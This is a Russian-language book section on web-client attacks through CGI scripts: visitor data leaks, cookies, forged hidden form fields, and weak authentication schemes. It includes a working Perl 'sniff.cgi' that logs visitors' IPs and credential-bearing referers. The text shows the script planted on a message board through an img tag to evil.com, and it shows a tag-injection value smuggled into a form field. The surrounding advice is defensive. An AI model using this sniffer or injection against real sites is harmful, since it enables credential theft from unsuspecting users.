Использование серверных приложений для атаки на клиента

Ситуация, когда Web мастер сознательно занимается атакой своих посетителей, является патологической. Гораздо чаще используются ошибки cgi-скриптов для атаки других посетителей (или для создания им серьезных неудобств).

Безопасность личной информации

В то время как IP адрес сервера должен быть доступен всем клиентам, желающим воспользоваться его услугами, клиент вовсе не обязан афишировать везде свой адрес. И для того, чтобы начать на него атаку, нужно каким то образом определить его адрес. В разделе "Атака на клиента" мы уже описывали некоторые клиентские приложения, существенно облегчающие задачу злоумышленникам, однако даже пользователь, не имеющий на своей машине ничего, кроме браузера, довольно уязвим. Ваш любимый браузер при заходе на любую страницу сообщает о себе весьма много информации. В качестве простого примера покажем скрипт на Perl, выводящий основную информацию о посетителе страницы:

#!/usr/bin/perl
print ("Content type: text/html\n\n");
@ee=(
"CHARSET",             #кодировка
"HTTP_USER_AGENT",     #тип браузера
"HTTP_REFERER",	       #страница, с которой вызван скрипт
"REMOTE_ADDR",         #адрес клиента
"REMOTE_HOST",         #хост клиента
"HTTP_X_FORWARDED_FOR" #адрес клиента, возвращаемый 
                       #proxy сервером
);

foreach $e(@ee)
{
    print "<b>$e</b>: $ENV{$e}<br>\n";
}

Часть информации - CHARSET, USER_AGENT и HTTP_REFERER - передается клиентом, и, следовательно, может быть подделана (или скрыта, все зависит от точки зрения), с чем успешно справляются proxy серверы и программы наподобие JunkBuster или @Guard. REMOTE_ADDR и REMOTE_HOST могут быть скрыты с помощью proxy серверов, многие из которых возвращают реальный адрес клиента в X_FORWARDED_FOR.

Другой источник утечки информации - cookies. Технически cookie представляет собой строку символов, которую сервер может сохранить на диске клиента с тем, чтобы в дальнейшем ее считать. С точки зрения безопасности практически единственная проблема, связанная с cookies, заключается в том, что они могут быть отправлены на сервер при помощи JavaScript, и, следовательно, с их помощью может быть передана вся информация, доступная в JavaScript. Впрочем, то же самое можно проделать и при помощи скрытых форм. Предельный размер каждого cookie определен в 4 Кб, а для каждого сервера допускается не более 20 cookies. Информация, записанная сервером в cookie, считывается только этим же сервером и используется преимущественно в мирных целях, например для идентификации пользователей в online-магазине, для сохранения настроек и т. п.

С другой стороны, далеко не всем нравится, что сервер что то пишет на диск без ведома пользователя, да и не всех устраивает, что с помощью cookie очень легко отследить маршрут передвижения посетителя по серверу, его привычки и т. д. Последнее очень важно в связи с распространением баннерных сетей, код которых находится на каждой второй странице WWW и которые могут установить - и устанавливают - свои cookies, позволяя проводить более масштабные маркетинговые исследования.

Проблемы идентификации

Предположим, мы пишем скрипт доски объявлений (или Web-чата) и хотим предусмотреть в нем возможность регистрации: чтобы пользователь мог ввести свои имя и пароль и после проверки получить право записи на доску. Вариант решения - формировать все страницы динамически с помощью скрипта, а имя пользователя записывать в скрытое поле для того, чтобы вставлять его в сообщение автоматически. Затем пользователь Vasya, честно пройдя регистрацию, дает команду View source и видит следующий код:

<form action="/cgi-bin/board.cgi" method="GET">
<input type="hidden" name="nick" value="Vasya">
<input type="text" name="message" maxlength="255">
...
</form>

Далее он копирует его себе на диск и слегка подправляет:

<form action="http://www.victim.com/cgi-bin/board.cgi" method="GET">
<input type="hidden" name="nick" value="Petya">
<input type="text" name="message">
...
</form>

После чего от имени невинного пользователя Petya делает свое черное дело и забивает нашу доску мусором.

Наученные горьким опытом, мы начинаем хранить в скрытом поле не только имя, но и пароль. Далее все зависит от того, насколько вы позаботились о безопасности своих пользователей. К примеру, Vasya может написать следующий скрипт (назовем его sniff.cgi):

#!/usr/bin/perl
$log = "snifflog.txt";
$now_string = localtime;
@thetime = split(/+/,$now_string);
@theclock = split(/:/,$thetime[3]);
$ampm = 'am';
if ($theclock[0] > 11)
{ $ampm = 'pm'; }
if ($theclock[0] == 0)
{ $theclock[0] = 12; }
if ($theclock[0] > 12)
{ $theclock[0]  = 12; }
else
{ $theclock[0] += 0; }

$lnum=$ENV{'QUERY_STRING'};
open (DB, "$log") || die "Can't Open $log: $!\n";
flock(DB, 2);
@line=<DB>;
close(DB);
$value = $ENV{'HTTP_REFERER'};
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

$line0 = "[$thetime[0] $theclock[0]\:$theclock[1]$ampm] (".
         $lnum.") ". $ENV{'REMOTE_ADDR'}." ".$ENV{'REMOTE_HOST'}.
         " ".$ENV{'HTTP_X_FORWARDED_FOR'}." [".$value."]";

$maxline=@line;
$maxline=30 if ($maxline>30);

open (DB, ">$log") || die "Can't Open $log: $!\n";
flock(DB, 2);
print DB ("$line0\n");
for ($i=0; $i<$maxline; $i++)
{
    print DB ("$line[$i]");
}
flock(DB, 8);
close(DB);

print "Location: http://somehost/somepic.gif\n\n";

Затем он установит его на каком-либо сервере, разрешающем запуск cgi-приложений, и добавит на нашу доску код вида <imgsrc="http://www.evil.com/cgi-bin/sniff.cgi"> (либо просто установит у себя на машине Web-сервер, вставит код <img src="http://vasya.home.host/somepic.gif"> и начнет изучать log-файл своего сервера). После чего все зашедшие на эту страницу исправно сообщат sniff.cgi, кто они, откуда и т. д. В частности, поскольку мы выбрали в качестве метода передачи данных GET, HTTP_REFERER будет содержать и имя, и пароль пользователя. Между прочим, очень многие Web чаты до сих пор имеют этот недостаток.

Дальнейшее уже зависит от политики в отношении вставки html-тэгов. Мы можем махнуть рукой и отдать нашу доску на растерзание, можем запретить все тэги, завести список запрещенных или разрешенных тэгов. Выбрав путь фильтрации, важно фильтровать весь пользовательский ввод, не рассчитывая, например, на то, что, если вы сделали в своем чате выпадающий список, позволяющий выбрать цвет, никому не придет в голову передать вместо ожидаемой строки с кодом цвета строчку вида

color"><img src="..."><

Впрочем, даже после этого мы не застрахованы, к примеру, от того, что Vasya, находясь в одной локальной сети с Petya, не установит там анализатор сетевого трафика и не подсмотрит всю критичную информацию. При более серьезном объекте атаки, чем гостевая книга или Web-чат, и последствия более серьезные - достаточно представить на их месте Web-магазин либо систему управления банковским счетом.

Приведенные примеры являются лишь одной стороной общей проблемы идентификации в Internet. Несмотря на то что среднестатистический пользователь оставляет в Сети массу сведений о себе, мы не можем быть уверенными в том, что два захода с одного и того же адреса принадлежат одному и тому же пользователю, и наоборот, что один и тот же пользователь не может зайти с разных адресов.

Все предлагаемые решения этой проблемы имеют те или иные недостатки:

Средства аутентификации пользователей, встроенные в серверы, являются наиболее очевидным решением. В IIS разграничение доступа осуществляется средствами файловой системы, в Apache защита ставится на уровне каталогов путем размещения в общем каталоге конфигурационного файла (в разделе <Directory>) либо в локальных конфигурационных файлах (.htaccess) соответствующих директив, описывающих пути до файлов с именами групп, пользователей и паролей, а также права доступа для разных групп. После чего можно просто считать в нашем скрипте имя пользователя из переменной окружения REMOTE_USER. Этот подход имеет два минуса. Во-первых, далеко не всегда нам нужно что-то большее, чем простая идентификация пользователя. При дневном трафике в несколько десятков тысяч человек нам ни к чему заводить для каждого пользователя свою учетную запись. Но даже если нам потребуется аутентификация, мы столкнемся с проблемой открытой передачи паролей, потенциально приводящей к возможности их перехвата. Использование же средств более строгого шифрования паролей (digest-аутентификация в Apache, NT Challenge/Response в IIS) сталкивается с несовместимостью и с юридическими проблемами (SSL).
Очень часто используются самодельные механизмы аутентификации, хранящие, как показано выше, имя и пароль пользователя непосредственно в спрятанных полях формы. Недостаток тут тот же - возможность перехвата. Неплохим решением является предварительная шифровка пароля, привязанная к IP-адресу пользователя, что сокращает возможности перехвата, хотя и не исключает его. Именно эта схема была реализована в скриптах управления пользовательским счетом баннерной системы Russian Lin Exchange, занимающейся показами рекламных заставок - баннеров - на Web-серверах, однако в начале февраля 1999 в ней была обнаружена неприятная особенность. Оказалось, что зашифрованный пароль привязывался только к IP-адресу, сам же пароль по оплошности программиста выпадал из рассмотрения. В итоге каждый пользователь системы мог получить доступ к любому счету. Публикация этого факта на открытых списках рассылки привела к громкому скандалу в узких кругах и ряду инцидентов, связанных с неправомочным переводом показов с одного счета на другой. К чести администрации системы следует заметить, что ошибка была исправлена в течение считанных часов, а все пострадавшие получили свои показы назад.
Еще одно решение, когда после первого входа в систему генерируется некоторый случайный идентификатор пользователя, никак не связанный с его именем или паролем. Идентификатор запоминается в базе сервера и записывается все в то же скрытое поле формы. При очередном обращении клиента проверяется, был ли уже зарегистрирован этот пользователь. Для предотвращения накопления в базе уже отключившихся пользователей вводится некоторая задержка и счетчик времени для каждого пользователя, хранящий время последнего обращения. Если время ожидания очередного запроса превысило задержку, пользователь из базы удаляется. Естественно, при каждом запросе счетчик времени обновляется. Данный способ наиболее эффективен именно в ситуации идентификации, а не аутентификации.
Наиболее популярный и достаточно надежный на сегодня способ, практически исключающий хранение информации в полях формы, - использование при идентификации сочетания ip-адреса пользователя и идентификатора, хранящегося вместе с прочей информацией в cookies. Основная проблема тут в нескольких процентах посетителей, отключающих cookies. Поэтому главную роль здесь играет мотивация - такому пользователю должна быть предъявлена убедительная причина, чтобы он включил их поддержку обратно.

Итак, подключаясь к Internet или открывая свой Web-сервер, вы всегда идете на некоторый риск. Устранить его полностью невозможно, но в ваших силах постараться свести риск до разумного минимума и не стать главным его источником. Надеемся, что в этом вам помогут материалы этой главы.

« »

АТАКА НА INTERNET

Безопасность личной информации

Проблемы идентификации